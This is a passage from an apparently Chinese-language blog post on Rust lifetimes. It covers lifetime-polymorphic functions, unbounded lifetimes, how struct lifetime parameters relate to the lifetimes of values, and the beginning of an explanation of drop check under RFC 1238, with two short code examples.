&lt;p&gt;现在我们考察关于lifetime polymorphic的函数的实际语义，考虑函数&lt;code&gt;fn f&amp;lt;&#x27;a&amp;gt;(x: &amp;amp;&#x27;a T) -&amp;gt; &amp;amp;&#x27;a T&lt;&#x2F;code&gt;，某个call site为&lt;code&gt;f(v)&lt;&#x2F;code&gt;，其中实参&lt;code&gt;v: &amp;amp;&#x27;b T&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;形参中的&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;表示的是实参的lifetime至少为&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在传递参数时会对&lt;code&gt;v&lt;&#x2F;code&gt;进行复制，得到形参&lt;code&gt;x&lt;&#x2F;code&gt;，这一过程与&lt;code&gt;x = v&lt;&#x2F;code&gt;类似&lt;&#x2F;li&gt;
&lt;li&gt;因此应遵循&lt;code&gt;&amp;amp;&#x27;b T &amp;lt;: &amp;amp;&#x27;a T&lt;&#x2F;code&gt;，于是&lt;code&gt;&#x27;b : &#x27;a&lt;&#x2F;code&gt;，实参的lifetime大于等于形参的lifetime&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;返回值中的&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;表示的是其lifetime至多为&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;考虑返回值赋值给变量&lt;code&gt;m&lt;&#x2F;code&gt;或临时变量，根据同样道理，变量&lt;code&gt;m&lt;&#x2F;code&gt;或临时变量的lifetime小于等于返回值的lifetime&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;综上可知，&lt;code&gt;fn f&amp;lt;&#x27;a&amp;gt;(x: &amp;amp;&#x27;a i32, y: &amp;amp;&#x27;a i32) -&amp;gt; &amp;amp;&#x27;a i32&lt;&#x2F;code&gt;实际上可以理解为，返回值的lifetime与实参的lifetime的交（或者说最大公约数）相同&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;假设上述函数替换为&lt;code&gt;fn f&amp;lt;&#x27;a&amp;gt;(x: &amp;amp;&#x27;a mut T) -&amp;gt; &amp;amp;&#x27;a mut T&lt;&#x2F;code&gt;，则&lt;code&gt;x = v&lt;&#x2F;code&gt;仍应满足&lt;code&gt;&amp;amp;&#x27;b mut T &amp;lt;: &amp;amp;&#x27;a mut T&lt;&#x2F;code&gt;的subtyping规则，不因mutable reference的move语义而改变，因此上述结论仍将成立。&lt;&#x2F;p&gt;
&lt;p&gt;对于函数，若其返回值的lifetime不是从参数的lifetime获得，则其lifetime是&lt;em&gt;unbounded lifetime&lt;&#x2F;em&gt;，也就是凭空而来的（譬如是由unsafe代码产生的），例如&lt;code&gt;fn f&amp;lt;&#x27;a&amp;gt;(x: *const T) -&amp;gt; &amp;amp;&#x27;a T&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;凭空而来的unbounded lifetime是existential的，它产生时没有受到subtyping或reborrow赋予的outlive约束，因此可以是context要求的任意lifetime，这实际上比&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;lifetime还要强。例如&lt;code&gt;&amp;amp;&#x27;static &amp;amp;&#x27;a T&lt;&#x2F;code&gt;是无效类型，但&lt;code&gt;&amp;amp;&#x27;unbounded &amp;amp;&#x27;a T&lt;&#x2F;code&gt;会被视为&lt;code&gt;&amp;amp;&#x27;a &amp;amp;&#x27;a T&lt;&#x2F;code&gt;从而通过type check。一般而言，如非必要，应避免unbounded lifetime。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;为了考察lifetime polymorphic的struct和enum的实际语义，我们需要回到lifetime的定义上来。事实上lifetime这个词可以指代两种概念：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;lifetime of reference，即引用有效的时间范围，也就是Rust类型系统中的lifetime概念&lt;&#x2F;li&gt;
&lt;li&gt;lifetime of value，即值从创建到析构的时间范围&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;假若一个变量中存放的是引用，即&lt;code&gt;v: &amp;amp;&#x27;a T&lt;&#x2F;code&gt;，那么变量的lifetime和引用的lifetime有可能是相同的，但一般来说两者并不能等同。下面我们用斜体的「&lt;em&gt;lifetime&lt;&#x2F;em&gt;」表示value的lifetime，用不带斜体的「lifetime」表示reference的lifetime。&lt;&#x2F;p&gt;
&lt;p&gt;为了考察struct和enum，不失一般性，考虑struct&lt;code&gt;S&amp;lt;&#x27;a, &#x27;b, ..., &#x27;n, P1, P2, ..., Pn&amp;gt;&lt;&#x2F;code&gt;，其实例为&lt;code&gt;s&lt;&#x2F;code&gt;，我们递归地检验其field的类型：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;整数、浮点、&lt;code&gt;bool&lt;&#x2F;code&gt;、&lt;code&gt;char&lt;&#x2F;code&gt;：与lifetime无关&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;for &amp;lt;&#x27;r1, &#x27;r2, ..., &#x27;rn&amp;gt; fn(T1, T2, ..., Tn) -&amp;gt; R&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;即使&lt;code&gt;T1, T2, ..., Tn&lt;&#x2F;code&gt;或&lt;code&gt;R&lt;&#x2F;code&gt;中含有struct的lifetime parameter&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;或type parameter&lt;code&gt;Pi&lt;&#x2F;code&gt;，也与struct的&lt;em&gt;lifetime&lt;&#x2F;em&gt;无关&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;*const T&lt;&#x2F;code&gt;, &lt;code&gt;*mut T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;即使&lt;code&gt;T&lt;&#x2F;code&gt;中含有struct的lifetime parameter&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;或type parameter&lt;code&gt;Pi&lt;&#x2F;code&gt;，也与struct的&lt;em&gt;lifetime&lt;&#x2F;em&gt;无关&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[T; n]&lt;&#x2F;code&gt;, &lt;code&gt;(T1, T2, ..., Tn)&lt;&#x2F;code&gt;: 递归地检验&lt;code&gt;T, T1, ..., Tn&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Struct&amp;lt;&#x27;a1, &#x27;a2, ..., &#x27;an, T1, T2, ..., Tn&amp;gt;&lt;&#x2F;code&gt;, &lt;code&gt;Enum&amp;lt;&#x27;a1, &#x27;a2, ..., &#x27;an, T1, T2, ..., Tn&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;其中&lt;code&gt;T1, T2, ..., Tn&lt;&#x2F;code&gt;可以具有进一步的结构，不一定只是type parameter&lt;&#x2F;li&gt;
&lt;li&gt;将&lt;code&gt;T1, T2, ..., Tn&lt;&#x2F;code&gt;代入后，得到&lt;code&gt;Struct&amp;lt;&#x27;a1, &#x27;a2, ..., &#x27;an, Pi1, Pi2, ..., Pik&amp;gt;&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;Enum&amp;lt;&#x27;a1, &#x27;a2, ..., &#x27;an, Pi1, Pi2, ..., Pik&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;递归地检验其field&#x2F;varaint&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;, &lt;code&gt;&amp;amp;&#x27;a mut T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;它是struct的一个fragment（指field或field的一部分），例如&lt;code&gt;s.f&lt;&#x2F;code&gt;, &lt;code&gt;s.f[idx]&lt;&#x2F;code&gt;（Array Member）, &lt;code&gt;s.f.idx&lt;&#x2F;code&gt;（Tuple Member）, &lt;code&gt;s.f1.f2&lt;&#x2F;code&gt;（Field of Embedded Struct）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;类型推导时应有&lt;code&gt;&#x27;a: lifetime(s)&lt;&#x2F;code&gt;的约束&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;首先，fragment的&lt;em&gt;lifetime&lt;&#x2F;em&gt;与struct的&lt;em&gt;lifetime&lt;&#x2F;em&gt;相同，而lifetime&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;也应该和fragment的&lt;em&gt;lifetime&lt;&#x2F;em&gt;相等&lt;&#x2F;li&gt;
&lt;li&gt;但实际上类型推导时&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;也可以再放宽些，使得其大于fragment的&lt;em&gt;lifetime&lt;&#x2F;em&gt;，这可能是为了满足某处产生的一个subtyping约束&lt;&#x2F;li&gt;
&lt;li&gt;故&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;应该大于等于struct的&lt;em&gt;lifetime&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;上述讨论的是由struct直接持有（own）的fragment，下面对于&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;&#x27;a mut T&lt;&#x2F;code&gt;类型的fragment中被间接引用的&lt;code&gt;T&lt;&#x2F;code&gt;作分类讨论：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;整数、浮点、&lt;code&gt;bool&lt;&#x2F;code&gt;、&lt;code&gt;char&lt;&#x2F;code&gt;、函数指针、&lt;code&gt;*const U&lt;&#x2F;code&gt;、&lt;code&gt;*mut U&lt;&#x2F;code&gt;、&lt;code&gt;str&lt;&#x2F;code&gt;：与lifetime无关&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[U]&lt;&#x2F;code&gt;, &lt;code&gt;[U; n]&lt;&#x2F;code&gt;, &lt;code&gt;(U1, U2, ..., Un)&lt;&#x2F;code&gt;: 递归地检验被间接引用的&lt;code&gt;U, U1, ..., Un&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Struct&amp;lt;&#x27;a1, &#x27;a2, ..., &#x27;an, U1, U2, ..., Un&amp;gt;&lt;&#x2F;code&gt;, &lt;code&gt;Enum&amp;lt;&#x27;a1, &#x27;a2, ..., &#x27;an, U1, U2, ..., Un&amp;gt;&lt;&#x2F;code&gt;: 将&lt;code&gt;U1, U2, ..., Un&lt;&#x2F;code&gt;代入，再递归地检验其被间接引用的field&#x2F;variant即可&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;&#x27;r U&lt;&#x2F;code&gt;, &lt;code&gt;&amp;amp;&#x27;r mut U&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;间接引用可能有多层，即&lt;code&gt;&amp;amp;&#x27;r U&#x27;&lt;&#x2F;code&gt;被&lt;code&gt;&amp;amp;&#x27;r1 U1&lt;&#x2F;code&gt;引用，&lt;code&gt;&amp;amp;&#x27;r1 U1&lt;&#x2F;code&gt;又被&lt;code&gt;&amp;amp;&#x27;r2 U2&lt;&#x2F;code&gt;引用，最终&lt;code&gt;&amp;amp;&#x27;rn Un&lt;&#x2F;code&gt;被&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;引用&lt;&#x2F;li&gt;
&lt;li&gt;lifetime的约束关系为&lt;code&gt;&#x27;r: &#x27;r1&lt;&#x2F;code&gt;, &lt;code&gt;&#x27;r1: &#x27;r2&lt;&#x2F;code&gt;, ..., &lt;code&gt;&#x27;rn: &#x27;a&lt;&#x2F;code&gt;, &lt;code&gt;&#x27;a : lifetime(s)&lt;&#x2F;code&gt;，即&lt;code&gt;&#x27;r: lifetime(s)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;dyn Trait + &#x27;r&lt;&#x2F;code&gt;: 同理应有&lt;code&gt;&#x27;r: lifetime(s)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;综上可知，struct的lifetime parameter&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;的含义需要具体情况具体分析，它可能代表了struct的&lt;em&gt;lifetime&lt;&#x2F;em&gt;的一个上界，也可能与struct的&lt;em&gt;lifetime&lt;&#x2F;em&gt;毫无关系。又其type parameter&lt;code&gt;P&lt;&#x2F;code&gt;在实例化为concrete type时，也可能引入lifetime variable&lt;code&gt;&#x27;p&lt;&#x2F;code&gt;，&lt;code&gt;&#x27;p&lt;&#x2F;code&gt;是否为struct的&lt;em&gt;lifetime&lt;&#x2F;em&gt;的上界也需具体分析。&lt;&#x2F;p&gt;
&lt;p&gt;回顾一下，&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt;的含义是&lt;code&gt;T&lt;&#x2F;code&gt;中的所有lifetime variable都要outlive&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;，若&lt;code&gt;T&lt;&#x2F;code&gt;是一个struct：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可能lifetime variable&lt;code&gt;&#x27;b&lt;&#x2F;code&gt;与struct的&lt;em&gt;lifetime&lt;&#x2F;em&gt;毫无关系，却必须满足&lt;code&gt;&#x27;b : &#x27;a&lt;&#x2F;code&gt;，这是保守的设计，会导致编译器拒绝一些正确的程序&lt;&#x2F;li&gt;
&lt;li&gt;也可能lifetime variable满足&lt;code&gt;&#x27;b: lifetime(s)&lt;&#x2F;code&gt;，但这并不意味着&lt;code&gt;lifetime(s): &#x27;a&lt;&#x2F;code&gt;，完全有可能struct本身的lifetime没有&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;长&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;下面这段代码就展示了一个&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt;中struct&lt;code&gt;T&lt;&#x2F;code&gt;的lifetime没有&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;长的例子：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;struct Struct&amp;lt;&#x27;a&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    x: &amp;amp;&#x27;a str&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;struct Example&amp;lt;&#x27;a, T: &#x27;a&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    x: T,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    y: &amp;amp;&#x27;a i32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;fn f&amp;lt;&#x27;a&amp;gt;(x: &amp;amp;&#x27;a i32) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    println!(&quot;{}&quot;, x);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let s = Struct::&amp;lt;&#x27;a&amp;gt;{ x: &quot;str&quot; };&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let example = Example::&amp;lt;&#x27;a&amp;gt;{ x: s, y: &amp;amp;42 };&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    println!(&quot;{}&quot;, x);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;再考虑下面这段代码，它是无法通过编译的，因为struct&lt;code&gt;s&lt;&#x2F;code&gt;的&lt;em&gt;lifetime&lt;&#x2F;em&gt;比&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;要短（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;play.rust-lang.org&#x2F;?version=stable&amp;amp;mode=debug&amp;amp;edition=2018&amp;amp;gist=ba9e650f8963dcae689eb5de89aa25c5&quot;&gt;Playground&lt;&#x2F;a&gt;）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;struct Struct&amp;lt;&#x27;a&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    x: &amp;amp;&#x27;a str&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;struct Fail&amp;lt;&#x27;a, T: &#x27;a&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    r: &amp;amp;&#x27;a T&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;fn f&amp;lt;&#x27;a&amp;gt;(x: &amp;amp;&#x27;a i32) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    println!(&quot;{}&quot;, x);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let s = Struct::&amp;lt;&#x27;a&amp;gt;{ x: &quot;str&quot; };&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let fail = Fail::&amp;lt;&#x27;a&amp;gt;{ r: &amp;amp;s };&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    println!(&quot;{}&quot;, x);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;可以看到&lt;code&gt;s&lt;&#x2F;code&gt;的类型是&lt;code&gt;Struct&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;，实际上是满足&lt;code&gt;Struct&amp;lt;&#x27;a&amp;gt;: &#x27;a&lt;&#x2F;code&gt;的要求的，编译不通过的原因是&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;本身就附带了一个implicit的约束，即&lt;code&gt;T&lt;&#x2F;code&gt;的&lt;em&gt;lifetime&lt;&#x2F;em&gt;要大于&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;，需要注意这和&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt;是不同的，因为即使&lt;code&gt;T&lt;&#x2F;code&gt;本身的&lt;em&gt;lifetime&lt;&#x2F;em&gt;要大于&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;，其中的引用的lifetime不一定大于&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lifetime-part-iv-advanced-features-of-lifetime&quot;&gt;Lifetime Part IV. Advanced Features of Lifetime&lt;&#x2F;h2&gt;
&lt;p&gt;对于struct和enum，存在一条额外的borrow check规则，称为&lt;em&gt;sound generic drop&lt;&#x2F;em&gt;，检查是否符合该规则的过程称为&lt;em&gt;drop check&lt;&#x2F;em&gt;（简称dropck），习惯上我们也把这条规则称为drop check (dropck)。&lt;&#x2F;p&gt;
&lt;p&gt;考虑一个struct，其中含有一个引用field，且其实现了&lt;code&gt;Drop&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;该引用field可能会引用struct的另一个field&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;drop&lt;&#x2F;code&gt;函数中，若被引用的field先析构，该引用field再进行解引用，就会造成use-after-free的bug&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这说明对于实现了&lt;code&gt;Drop&lt;&#x2F;code&gt;的generic struct，其中的lifetime parameter&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;必须严格大于struct的&lt;em&gt;lifetime&lt;&#x2F;em&gt;，只有这样&lt;code&gt;drop&lt;&#x2F;code&gt;函数才是sound的，这一原则就是&lt;em&gt;sound generic drop&lt;&#x2F;em&gt;的核心思想。&lt;&#x2F;p&gt;
&lt;p&gt;drop check的详细规则如下（参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;rfcs&#x2F;1238-nonparametric-dropck.html&quot;&gt;RFC 1238&lt;&#x2F;a&gt;）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;对于变量&lt;code&gt;v&lt;&#x2F;code&gt;，若它&lt;em&gt;own&lt;&#x2F;em&gt;某个类型&lt;code&gt;D&lt;&#x2F;code&gt;，而&lt;code&gt;D&lt;&#x2F;code&gt;又（直接或间接地）可达引用&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;，且&lt;code&gt;D&lt;&#x2F;code&gt;实现了&lt;code&gt;Drop&lt;&#x2F;code&gt;，则&lt;code&gt;D&lt;&#x2F;code&gt;有可能适用于drop check&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;所谓的&lt;em&gt;own&lt;&#x2F;em&gt;就是说&lt;code&gt;v&lt;&#x2F;code&gt;的某个fragment的类型为&lt;code&gt;D&lt;&#x2F;code&gt;，或者&lt;code&gt;v&lt;&#x2F;code&gt;本身的类型就是&lt;code&gt;D&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若&lt;code&gt;D&lt;&#x2F;code&gt;适用于drop check，则要求&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;严格大于&lt;code&gt;lifetime(v)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;我们规定&lt;code&gt;impl&amp;lt;...&amp;gt; Drop for D&amp;lt;...&amp;gt;&lt;&#x2F;code&gt;中若是出现lifetime parameter&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;，则&lt;code&gt;D&lt;&#x2F;code&gt;适用于drop check&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;是&lt;code&gt;D&lt;&#x2F;code&gt;的lifetime parameter，则&lt;code&gt;Drop&lt;&#x2F;code&gt;是为&lt;code&gt;D&amp;lt;..., &#x27;a, ...&amp;gt;&lt;&#x2F;code&gt;实现的&lt;&#x2F;li&gt;
&lt;li&gt;因为此时&lt;code&gt;D&lt;&#x2F;code&gt;的&lt;code&gt;drop&lt;&#x2F;code&gt;函数中可以直接访问&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;，可能造成use-after-free，故&lt;code&gt;D&lt;&#x2F;code&gt;适用于drop check&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;我们规定&lt;code&gt;impl&amp;lt;...&amp;gt; Drop for D&amp;lt;...&amp;gt;&lt;&#x2F;code&gt;中若是出现type parameter&lt;code&gt;U&lt;&#x2F;code&gt;，则&lt;code&gt;D&lt;&#x2F;code&gt;适用于drop check&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;不是&lt;code&gt;D&lt;&#x2F;code&gt;的lifetime parameter，则它是通过&lt;code&gt;D&lt;&#x2F;code&gt;的type parameter&lt;code&gt;U&lt;&#x2F;code&gt;传入的&lt;&#x2F;li&gt;
&lt;li&gt;由于&lt;code&gt;Drop&lt;&#x2F;code&gt;是不允许specialization的，故&lt;code&gt;Drop&lt;&#x2F;code&gt;只能是为&lt;code&gt;Drop&amp;lt;..., U, ...&amp;gt;&lt;&#x2F;code&gt;实现的&lt;&#x2F;li&gt;
&lt;li&gt;因此，&lt;code&gt;drop&lt;&#x2F;code&gt;函数可能通过&lt;code&gt;U&lt;&#x2F;code&gt;访问到&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;，造成use-after-free，故&lt;code&gt;D&lt;&#x2F;code&gt;适用于drop check&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其实上述两条规则已经涵盖了所有可以含有&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;的&lt;code&gt;D&lt;&#x2F;code&gt;，这意味着凡是含有引用且实现了&lt;code&gt;Drop&lt;&#x2F;code&gt;，就适用于drop check。RFC 1238采用这样繁复的语言来描述drop check，可能是为了向前兼容，也方便以后改进drop check规则。&lt;&#x2F;p&gt;
